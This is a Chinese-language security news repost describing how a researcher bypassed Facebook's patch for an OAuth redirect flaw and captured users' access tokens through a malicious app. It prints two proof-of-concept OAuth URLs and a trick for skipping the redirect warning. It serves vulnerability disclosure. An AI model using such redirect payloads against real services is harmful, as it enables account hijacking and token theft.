Facebook爆出新的OAuth漏洞



还记得上次Facebook的OAuth漏洞吗?该漏洞允许攻击者不需要与受害者有任何互动即可劫持账户,这个漏洞是由白帽子Nir Goldshlager发现的。在这之后,Facebook安全团队修复了这个漏洞。 昨天Goldshlager绕过Facebook安全团队的补丁,再次攻破了Facebook的OAuth的机制。他在一篇博客中记录了完整的入侵Facebook的过程。 OAuth URL包含两个参数“redirect_uri”和”next”,利用在上一个补丁中使用正则表达式来保证安全性(%23xxx!,%23/xxx,/)” 。 而Goldshlager发现”next”参数可以使facebook.facebook.com域名为有效链接,并可利用多种hash符号可以绕过正则表达式的保护。他利用 facebook.com/l.php 文件(用于重定向用户到外部链接)使受害者重定向到自己的恶意Facebook应用程序,然后攻击者的恶意应用程序会记录用户的token,从而实现劫持。



重定向过程中会发出一个警告,不过不用担心,他发现使用5个字节的数据能够绕过此警告消息 例如:
[url]https://www.facebook.com/l/goldy[/url];touch.facebook.com/apps/sdfsdsdsgs (他使用的是5个字节的数据
最后,受害者重定向用户到外部网站(files.nirgoldshlager.com,攻击者创建的服务器)的恶意Facebook应用程序,从而受害者的access_token的将被记录下来。利用这个Facebook的OAuth的漏洞,可以劫持任何Facebook账户。
POC:
Firefox:
[url]https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&next=https://facebook.facebook.com/%23/x/%23/l/ggggg%3btouch.facebook.com/apps/sdfsdsdsgs%23&display=page&fbconnect=1&method=permissions.request&response_type=token[/url]
其他浏览器:
[url]https://www.facebook.com/dialog/permissions.request?app_id=220764691281998&display=page&next=https%3A%2F%2Ftouch.facebook.com%2F%2523%2521%2Fapps%2Ftestestestte%2F&response_type=token&perms=email&fbconnect=1[/url]
转载自  http://www.freebuf.com/news/7694.html
免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐